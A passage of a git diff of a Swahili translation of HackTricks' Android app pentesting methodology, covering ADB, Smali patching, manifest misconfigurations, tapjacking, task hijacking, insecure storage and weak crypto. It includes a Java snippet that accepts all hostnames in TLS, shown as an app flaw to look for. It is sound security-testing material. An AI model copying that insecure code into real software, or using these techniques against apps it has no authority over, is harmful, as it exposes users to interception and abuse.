* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Ukadiriaji wa Programu za Android
|
||||
# Ukadiriaji wa Maombi ya Android
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,10 +6,10 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
@ -19,40 +19,40 @@ Njia nyingine za kusaidia HackTricks:
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
|
||||
**Habari za Udukuzi za Muda Halisi**\
|
||||
Kaa sasa na ulimwengu wa udukuzi wenye kasi kupitia habari za muda halisi na ufahamu
|
||||
**Habari za Udukuzi za Wakati Halisi**\
|
||||
Kaa hadi sasa na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo Mapya**\
|
||||
Baki mwelewa na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelekezi na zawadi mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Msingi wa Programu za Android
|
||||
## Msingi wa Maombi ya Android
|
||||
|
||||
Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na sehemu hatari zaidi katika programu ya Android**:
|
||||
Inapendekezwa sana kuanza kusoma ukurasa huu ili kujua kuhusu **sehemu muhimu zaidi zinazohusiana na usalama wa Android na sehemu hatari zaidi katika maombi ya Android**:
|
||||
|
||||
{% content-ref url="android-applications-basics.md" %}
|
||||
[android-applications-basics.md](android-applications-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ADB (Daraja la Udukuzi wa Android)
|
||||
## ADB (Daraja la Udukuzi la Android)
|
||||
|
||||
Hii ni zana kuu unayohitaji kuunganisha kifaa cha Android (kielekezwa au halisi).\
|
||||
**ADB** inaruhusu kudhibiti vifaa kupitia **USB** au **Mtandao** kutoka kwenye kompyuta. Zana hii inawezesha **kukopi** faili kwa pande zote, **ufungaji** na **ufutaji** wa programu, **utekelezaji** wa amri za shell, **kuhifadhi** data, **kusoma** magogo, miongoni mwa kazi nyingine.
|
||||
**ADB** inaruhusu kudhibiti vifaa kupitia **USB** au **Mtandao** kutoka kwenye kompyuta. Zana hii inawezesha **nakala** ya faili kwa pande zote, **ufungaji** na **ufutaji** wa programu, **utekelezaji** wa amri za shell, **kuhifadhi** data, **kusoma** magogo, miongoni mwa kazi nyingine.
|
||||
|
||||
Angalia orodha ifuatayo ya [**Amri za ADB**](adb-commands.md) kujifunza jinsi ya kutumia adb.
|
||||
|
||||
## Smali
|
||||
|
||||
Marafiki ni muhimu **kurekebisha msimbo wa programu** ili kupata **habari iliyofichwa** (labda nywila zilizofichwa vizuri au bendera). Kwa hivyo, inaweza kuwa muhimu kudecompile apk, kurekebisha msimbo na kuirekebisha.\
|
||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya kudecompile na APK, kurekebisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa muhimu sana kama **mbadala kwa vipimo kadhaa wakati wa uchambuzi wa kudumu** ambao utawasilishwa. Kisha, **kuwa na uwezekano huu akilini daima**.
|
||||
Marafiki ni muhimu **kurekebisha msimbo wa maombi** ili kupata **habari iliyofichwa** (labda nywila zilizofichwa vizuri au bendera). Kisha, inaweza kuwa muhimu kudecompile apk, kurekebisha msimbo na kuirekebisha.\
|
||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya kudecompile na APK, kurekebisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa muhimu sana kama **mbadala kwa vipimo kadhaa wakati wa uchambuzi wa kudumu** ambao utawasilishwa. Kisha, **kuwa na fikira hii daima akilini**.
|
||||
|
||||
## Mbinu zingine za kuvutia
|
||||
|
||||
* [Kughushi eneo lako kwenye Duka la Google](spoofing-your-location-in-play-store.md)
|
||||
* **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* [Kughushi eneo lako kwenye Duka la Kucheza](spoofing-your-location-in-play-store.md)
|
||||
* **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* Chambua APK kutoka kifaa:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
|
@ -79,31 +79,31 @@ Tafadhali, [**soma hapa kupata habari kuhusu decompilers tofauti zilizopo**](apk
|
|||
|
||||
### Kutafuta Habari Muhimu
|
||||
|
||||
Kwa kuchunguza **maneno** ya APK unaweza kutafuta **manenosiri**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **funguo za api**, **encryption**, **bluetooth uuids**, **tokens** na chochote kingine kinachovutia... tafuta hata **backdoors** za utekelezaji wa msimbo au backdoors za uthibitishaji (vitambulisho vya msimamizi vilivyowekwa kwa nguvu kwenye programu).
|
||||
Kwa kuchunguza **maneno** ya APK unaweza kutafuta **manenosiri**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **funguo za api**, **encryption**, **bluetooth uuids**, **tokens** na chochote kingine cha kuvutia... tafuta hata **backdoors** za utekelezaji wa msimbo au backdoors za uthibitishaji (vitambulisho vya msimamizi vilivyowekwa kwa nguvu kwenye programu).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Tilia maanani **URLs za firebase** na hakikisha kama imeconfigure vibaya. [Maelezo zaidi kuhusu ni nini Firebase na jinsi ya kuitumia vibaya hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Tilia maanani **URLs za firebase** na hakikisha kama imeconfigurewa vibaya. [Maelezo zaidi kuhusu ni nini Firebase na jinsi ya kuitumia vibaya hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Kuelewa Msingi wa Programu - Manifest.xml, strings.xml
|
||||
|
||||
**Uchunguzi wa faili za \_Manifest.xml** na **strings.xml** wa programu unaweza kufichua mapungufu ya usalama yanayowezekana. Faili hizi zinaweza kupatikana kwa kutumia decompilers au kwa kubadilisha kificho cha faili ya APK kuwa .zip na kisha kufungua.
|
||||
|
||||
**Mapungufu** yanayotambuliwa kutoka kwa **Manifest.xml** ni pamoja na:
|
||||
**Mapungufu** yaliyotambuliwa kutoka kwa **Manifest.xml** ni pamoja na:
|
||||
|
||||
* **Programu za Debuggable**: Programu zilizowekwa kama debuggable (`debuggable="true"`) kwenye faili ya _Manifest.xml_ zinaweza kuwa hatari kwani zinaruhusu uhusiano ambao unaweza kusababisha unyanyasaji. Kwa uelewa zaidi kuhusu jinsi ya kutumia vibaya programu za debuggable, rejea mafunzo kuhusu kutafuta na kutumia vibaya programu za debuggable kwenye kifaa.
|
||||
* **Mipangilio ya Backup**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia habari nyeti ili kuzuia nakala za data zisizoidhinishwa kupitia adb, hasa wakati uwezeshaji wa usb debugging unawezeshwa.
|
||||
* **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya desturi (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pins za vyeti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa udomeni maalum.
|
||||
* **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kufichua vipengele vinavyoweza kutumiwa vibaya. Uchambuzi zaidi wakati wa upimaji wa kudurufu unaweza kufunua jinsi ya kutumia vibaya vipengele hivi.
|
||||
* **Watoaji wa Yaliyomo na Watoaji wa Faili**: Watoaji wa yaliyomo waliowekwa wazi wanaweza kuruhusu ufikiaji usiohalali au ubadilishaji wa data. Usanidi wa Watoaji wa Faili pia unapaswa kuchunguzwa kwa makini.
|
||||
* **Wapokeaji wa Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa kutumia vibaya, kwa umakini maalum kwa jinsi mipango ya URL inavyosimamiwa kwa mapungufu ya kuingiza.
|
||||
* **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, ikisisitiza umuhimu wa kutokuidhinisha toleo la zamani, lenye mapungufu la Android kwa sababu za usalama.
|
||||
* **Programu za Debuggable**: Programu zilizowekwa kama debuggable (`debuggable="true"`) kwenye faili ya _Manifest.xml_ zinaweza kuwa hatari kwani zinaruhusu uhusiano ambao unaweza kusababisha unyanyasaji. Kwa uelewa zaidi kuhusu jinsi ya kutumia vibaya programu za debuggable, rejea kwa mafunzo kuhusu kutafuta na kutumia vibaya programu za debuggable kwenye kifaa.
|
||||
* **Mipangilio ya Backup**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulikia habari nyeti ili kuzuia nakala za data zisizoidhinishwa kupitia adb, hasa wakati uwezeshaji wa usb debugging unaruhusiwa.
|
||||
* **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kufafanua maelezo ya usalama kama vile pins za vyeti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa udomen fulani.
|
||||
* **Shughuli na Huduma Zilizowekwa Wazi**: Kutambua shughuli na huduma zilizowekwa wazi katika manifest kunaweza kufichua vipengele vinavyoweza kutumiwa vibaya. Uchambuzi zaidi wakati wa majaribio ya moja kwa moja unaweza kufunua jinsi ya kutumia vibaya vipengele hivi.
|
||||
* **Watoa Huduma wa Yaliyomo na Watoa Faili**: Watoa huduma wa yaliyomo waliowekwa wazi wanaweza kuruhusu ufikiaji usiohalali au ubadilishaji wa data. Usanidi wa Watoa Faili pia unapaswa kuchunguzwa kwa makini.
|
||||
* **Wapokeaji wa Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyanyasaji, kwa umakini maalum kwa jinsi mipango ya URL inavyosimamiwa kwa mapungufu ya kuingiza.
|
||||
* **Toleo za SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo za Android zinazoungwa mkono, ikisisitiza umuhimu wa kutokuunga mkono toleo za Android zilizopitwa na wakati kwa sababu za usalama.
|
||||
|
||||
Kutoka kwa faili ya **strings.xml**, habari nyeti kama vile funguo za API, mipangilio ya desturi, na maelezo mengine ya watengenezaji yanaweza kugunduliwa, ikisisitiza umuhimu wa kupitia upya kwa uangalifu rasilimali hizi.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbovu** inazinduliwa na **kujipanga juu ya programu ya mwathiriwa**. Mara tu inapofunika programu ya mwathiriwa, kiolesura chake cha mtumiaji kimeundwa kwa njia ambayo inadanganya mtumiaji kuingiliana nacho, wakati inapitisha mwingiliano kwa programu ya mwathiriwa.\
|
||||
**Tapjacking** ni shambulio ambapo **programu** **mbovu** inazinduliwa na **kujipanga juu ya programu ya mwathiriwa**. Mara tu inapofunika programu ya mwathiriwa, kiolesura chake cha mtumiaji kimeundwa kwa njia ambayo inadanganya mtumiaji kuingiliana nacho, wakati inapitisha uingiliano kwa programu ya mwathiriwa.\
|
||||
Kimsingi, inamfanya **mtumiaji ashindwe kujua kwamba kimsingi anatekeleza vitendo kwenye programu ya mwathiriwa**.
|
||||
|
||||
Pata habari zaidi hapa:
|
||||
|
@ -112,9 +112,9 @@ Pata habari zaidi hapa:
|
|||
[tapjacking.md](tapjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Utekapishaji wa Kazi
|
||||
### Task Hijacking
|
||||
|
||||
**Shughuli** yenye **`launchMode`** iliyowekwa kama **`singleTask` bila `taskAffinity`** iliyofafanuliwa inaweza kudhuriwa na utekapishaji wa kazi. Hii inamaanisha, kwamba programu inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuteka kazi ya programu halisi** (hivyo mtumiaji atakuwa anaingiliana na **programu mbovu akidhani anatumia ile halisi**).
|
||||
**Shughuli** yenye **`launchMode`** iliyowekwa kama **`singleTask` bila `taskAffinity`** iliyofafanuliwa inaweza kushambuliwa na Task Hijacking. Hii inamaanisha, kwamba programu inaweza kusakinishwa na ikizinduliwa kabla ya programu halisi inaweza **kuteka kazi ya programu halisi** (hivyo mtumiaji atakuwa anaingiliana na **programu mbovu akidhani anatumia ile halisi**).
|
||||
|
||||
Maelezo zaidi katika:
|
||||
|
||||
|
@ -126,41 +126,41 @@ Maelezo zaidi katika:
|
|||
|
||||
**Uhifadhi wa Ndani**
|
||||
|
||||
Katika Android, faili **zilizohifadhiwa** kwenye **uhifadhi wa ndani** zimedhamiriwa kuwa **inapatikana** kipekee na **programu** iliyo **iumba**. Hatua hii ya usalama **inazingatiwa** na mfumo wa uendeshaji wa Android na kwa ujumla ni ya kutosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, watengenezaji mara nyingi hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ku **ruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuili upatikanaji** wa faili hizi na programu nyingine, ikiwemo zile zenye nia mbaya.
|
||||
Katika Android, faili zilizohifadhiwa kwenye **uhifadhi wa ndani** zimedhamiriwa kuwa **inapatikana** kipekee na **programu** iliyo **iumba**. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla ni ya kutosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, watengenezaji mara nyingi hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` kuwaruhusu faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuili upatikanaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
|
||||
|
||||
1. **Uchambuzi wa Stati:**
|
||||
* **Hakikisha** matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa **kwa uangalifu**. Njia hizi **zinaweza kufichua** faili kwa **upatikanaji usiokusudiwa au usiohalali**.
|
||||
2. **Uchambuzi wa Kisasa:**
|
||||
* **Thibitisha** ruhusa zilizowekwa kwenye faili zilizoundwa na programu. Hasa, **angalia** kama kuna faili zilizowekwa kuwa za kusomwa au kuandikwa kwa ulimwengu wote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili au nia yake, kusoma au kuhariri faili hizo.
|
||||
* **Hakikisha** matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa **kwa umakini**. Njia hizi **zinaweza kufichua** faili kwa **upatikanaji usiokusudiwa au usiohalali**.
|
||||
2. **Uchambuzi wa Moja kwa Moja:**
|
||||
* **Thibitisha** ruhusa zilizowekwa kwenye faili zilizoundwa na programu. Hasa, **angalia** kama kuna faili zilizowekwa kuwa za kusomwa au kuandikwa na kila mtu. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili au nia yake, kusoma au kuhariri faili hizo.
|
||||
|
||||
**Uhifadhi wa Nje**
|
||||
|
||||
Wakati unashughulika na faili kwenye **uhifadhi wa nje**, kama Kadi za SD, tahadhari fulani inapaswa kuchukuliwa:
|
||||
Wakati unashughulika na faili kwenye **uhifadhi wa nje**, kama vile Kadi za SD, tahadhari fulani inapaswa kuchukuliwa:
|
||||
|
||||
1. **Upatikanaji**:
|
||||
* Faili kwenye uhifadhi wa nje ni **zinazosomwa na kuandikwa kimataifa**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizo.
|
||||
* Faili kwenye uhifadhi wa nje ni **zinazosomwa na kuandikwa kimataifa**. Hii inamaanisha programu au mtumiaji yeyote anaweza kupata faili hizi.
|
||||
2. **Masuala ya Usalama**:
|
||||
* Kwa urahisi wa upatikanaji, inashauriwa **kutokuhifadhi habari nyeti** kwenye uhifadhi wa nje.
|
||||
* Kwa kuwa ni rahisi kupata, inashauriwa **kutokuhifadhi habari nyeti** kwenye uhifadhi wa nje.
|
||||
* Uhifadhi wa nje unaweza kuondolewa au kufikiwa na programu yoyote, ikifanya kuwa si salama.
|
||||
3. **Kushughulikia Data kutoka kwa Uhifadhi wa Nje**:
|
||||
* Daima **fanya uthibitishaji wa kuingiza** kwenye data inayopatikana kutoka kwa uhifadhi wa nje. Hii ni muhimu kwa sababu data inatoka kwenye chanzo kisichoweza kudhibitishwa.
|
||||
* Kuhifadhi faili za kutekelezeka au faili za darasa kwenye uhifadhi wa nje kwa kupakia kwa kudurufu kunashauriwa sana.
|
||||
* Ikiwa programu yako lazima ipate faili za kutekelezeka kutoka kwa uhifadhi wa nje, hakikisha faili hizi zinasainiwa na kuthibitishwa kwa njia ya kriptografia kabla ya kupakiwa kwa kudurufu. Hatua hii ni muhimu kwa kudumisha usalama wa programu yako.
|
||||
* Kuhifadhi faili za kutekelezeka au faili za darasa kwenye uhifadhi wa nje kwa kupakia kwa kudai ni jambo lisilopendekezwa.
|
||||
* Ikiwa programu yako lazima ipate faili za kutekelezeka kutoka kwa uhifadhi wa nje, hakikisha faili hizi zinasainiwa na kuthibitishwa kwa njia ya kriptografia kabla ya kupakiwa kwa kudai. Hatua hii ni muhimu kwa kudumisha usalama wa programu yako.
|
||||
|
||||
Uhifadhi wa nje unaweza **kufikiwa** kwenye `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Uhifadhi wa nje unaweza **kufikiwa** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unazuia upatikanaji kutoka kwa programu kwenye saraka maalum kwa programu hiyo**. Hii inazuia programu mbovu kupata upatikanaji wa kusoma au kuandika faili za programu nyingine.
|
||||
Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unazuia upatikanaji kutoka kwa programu kwenda kwenye saraka maalum kwa ajili ya programu hiyo**. Hii inazuia programu mbovu kupata upatikanaji wa kusoma au kuandika faili za programu nyingine.
|
||||
{% endhint %}
|
||||
|
||||
**Data nyeti iliyohifadhiwa kwa maandishi wazi**
|
||||
|
||||
* **Mapendeleo ya Kushirikiana**: Android inaruhusu kila programu kuokoa faili za xml kwa njia ya `/data/data/<jina la pakiti>/shared_prefs/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye folda hiyo.
|
||||
* **Maktaba za Data**: Android inaruhusu kila programu kuokoa maktaba za sqlite kwa njia ya `/data/data/<jina la pakiti>/databases/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye folda hiyo.
|
||||
* **Mapendeleo ya Kushirikiana**: Android inaruhusu kila programu kuokoa faili za xml kwa njia rahisi katika njia `/data/data/<jina la pakiti>/shared_prefs/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye saraka hiyo.
|
||||
* **Maktaba za Data**: Android inaruhusu kila programu kuokoa maktaba za sqlite katika njia `/data/data/<jina la pakiti>/databases/` na mara nyingine inawezekana kupata habari nyeti kwa maandishi wazi kwenye saraka hiyo.
|
||||
|
||||
### TLS iliyovunjika
|
||||
|
||||
**Kubali Vyeti Vyote**
|
||||
**Kukubali Vyeti Vyote**
|
||||
|
||||
Kwa sababu fulani mara nyingine watengenezaji wanakubali vyeti vyote hata kama kwa mfano jina la mwenyeji halilingani na mistari ya msimbo kama ifuatavyo:
|
||||
```java
|
||||
|
@ -173,21 +173,21 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||
|
||||
Baadhi ya watengenezaji hufadhi data nyeti kwenye hifadhi ya ndani na kuiweka kwenye fichezo/predictable katika nambari. Hii haipaswi kufanywa kwani baadhi ya kugeuza inaweza kuruhusu wachomaji kutoa habari za siri.
|
||||
|
||||
**Matumizi ya Alama za Usalama na/au Alama Zilizopitwa na Wakati**
|
||||
**Matumizi ya Alama za Usalama na/au Alama za Zamani**
|
||||
|
||||
Watengenezaji hawapaswi kutumia **alama zilizopitwa na wakati** kufanya **uchunguzi wa idhini**, **kufadhi** au **kupeleka** data. Baadhi ya alama hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** hutumiwa kufadhi nywila kwa mfano, hashes zenye **upinzani wa nguvu wa kufanya nguvu** inapaswa kutumika na chumvi.
|
||||
Watengenezaji hawapaswi kutumia **alama za zamani** kufanya **uchunguzi wa idhini**, **kuhifadhi** au **kupeleka** data. Baadhi ya alama hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** hutumiwa kuhifadhi nywila kwa mfano, hashes zenye upinzani wa nguvu wa brute-force zinapaswa kutumika na chumvi.
|
||||
|
||||
### Uchunguzi Mwingine
|
||||
|
||||
* Inapendekezwa kufanya **APK kuwa ngumu** ili kufanya kazi ya kugeuza nyuma kuwa ngumu kwa wachomaji.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **uchunguzi wake mwenyewe kuona ikiwa simu ya mkononi imepata mizizi** na kuchukua hatua kulingana na hilo.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia ikiwa **emulator** inatumika.
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekelezwa** ili kuona ikiwa imebadilishwa.
|
||||
* Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni kipi kimepakwa/pakwa/kuwekwa kwenye APK
|
||||
* Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekeleza** ili kuona ikiwa imebadilishwa.
|
||||
* Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni kipi kimepakwa/kufichwa/kufanywa ngumu kujenga APK
|
||||
|
||||
### Programu ya React Native
|
||||
|
||||
Soma ukurasa ufuatao kujifunza jinsi ya kupata urahisi nambari ya javascript ya programu za React:
|
||||
Soma ukurasa ufuatao kujifunza jinsi ya kupata kwa urahisi nambari ya javascript ya programu za React:
|
||||
|
||||
{% content-ref url="react-native-application.md" %}
|
||||
[react-native-application.md](react-native-application.md)
|
||||
|
@ -195,21 +195,21 @@ Soma ukurasa ufuatao kujifunza jinsi ya kupata urahisi nambari ya javascript ya
|
|||
|
||||
### Programu za Xamarin
|
||||
|
||||
Soma ukurasa ufuatao kujifunza jinsi ya kupata nambari ya C# ya programu za xamarin:
|
||||
Soma ukurasa ufuatao kujifunza jinsi ya kupata kwa urahisi nambari ya C# ya programu za xamarin:
|
||||
|
||||
{% content-ref url="../xamarin-apps.md" %}
|
||||
[xamarin-apps.md](../xamarin-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Programu Zilizojaa
|
||||
### Programu za Superpacked
|
||||
|
||||
Kulingana na chapisho hiki la [**blogi**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) zilizojaa ni algorithm ya Meta ambayo hupunguza maudhui ya programu kuwa faili moja. Blogi inazungumzia uwezekano wa kuunda programu ambayo inafungua programu za aina hii... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizopunguzwa kutoka kwa mfumo wa faili.**
|
||||
Kulingana na hii [**machapisho ya blogi**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithm ya Meta ambayo inapunguza maudhui ya programu kuwa faili moja. Blogi inazungumzia uwezekano wa kuunda programu ambayo inafungua programu za aina hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizofunguliwa kutoka kwa mfumo wa faili.**
|
||||
|
||||
### Uchambuzi wa Kanuni wa Stati wa Kiotomatiki
|
||||
|
||||
Zana ya [**mariana-trench**](https://github.com/facebook/mariana-trench) inaweza kupata **udhaifu** kwa **kuchanganua** kanuni ya programu. Zana hii ina safu ya **vyanzo vilivyofahamika** (ambavyo vinaonyesha zana maeneo ambapo **mwingiliano** unadhibitiwa na mtumiaji), **mabwawa** (ambayo inaonyesha zana **mahali hatari** ambapo mwingiliano mbaya wa mtumiaji unaweza kusababisha uharibifu) na **kanuni**. Kanuni hizi zinaonyesha **muungano** wa **vyanzo-mabwawa** ambao unaonyesha udhaifu.
|
||||
Zana [**mariana-trench**](https://github.com/facebook/mariana-trench) inaweza kupata **mapungufu** kwa **kuchanganua** kanuni ya programu. Zana hii ina safu ya **vyanzo vilivyofahamika** (ambavyo vinaonyesha zana mahali **ambapo kuingia** kunadhibitiwa na mtumiaji), **mabwawa** (ambayo inaonyesha zana **mahali hatari** ambapo kuingia cha mtumiaji kinaweza kusababisha uharibifu) na **kanuni**. Kanuni hizi zinaonyesha **muungano** wa **vyanzo-mabwawa** ambao unaonyesha mapungufu.
|
||||
|
||||
Kwa maarifa haya, **mariana-trench itapitia kanuni na kupata udhaifu unaowezekana ndani yake**.
|
||||
Kwa maarifa haya, **mariana-trench itapitia kanuni na kupata mapungufu yanayowezekana**.
|
||||
|
||||
### Siri Zilizovuja
|
||||
|
||||
|
@ -224,9 +224,9 @@ Programu inaweza kuwa na siri (funguo za API, nywila, viungo vilivyofichwa, subd
|
|||
### Kazi Nyingine za Kuvutia
|
||||
|
||||
* **Utekelezaji wa Kanuni**: `Runtime.exec(), ProcessBuilder(), kanuni ya asili:system()`
|
||||
* **Tuma SMS**: `tumaUjumbeWaMaandishi, tumaUjumbeWaMaandishiWaSehemu`
|
||||
* **Tuma SMS**: `tuma ujumbe wa maandishi, tuma ujumbe wa maandishi wa sehemu`
|
||||
* **Kazi za asili** zilizotangazwa kama `asili`: `umma asili, System.loadLibrary, System.load`
|
||||
* [Soma hii ili kujifunza **jinsi ya kugeuza kazi za asili**](reversing-native-libraries.md)
|
||||
* [Soma hii ili kujifunza **jinsi ya kugeuza nyuma kazi za asili**](reversing-native-libraries.md)
|
||||
|
||||
### **Mbinu Nyingine**
|
||||
|
||||
|
@ -241,13 +241,13 @@ Programu inaweza kuwa na siri (funguo za API, nywila, viungo vilivyofichwa, subd
|
|||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wachomaji wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Kuvamia**\
|
||||
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za kuvamia
|
||||
Shiriki na yaliyomo yanayochimba ndani ya msisimko na changamoto za kuvamia
|
||||
|
||||
**Habari za Kuvamia za Wakati Halisi**\
|
||||
Kaa sawa na ulimwengu wa kuvamia unaobadilika haraka kupitia habari na ufahamu wa wakati halisi
|
||||
Kaa sawa na ulimwengu wa kuvamia kwa kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo ya Hivi Karibuni**\
|
||||
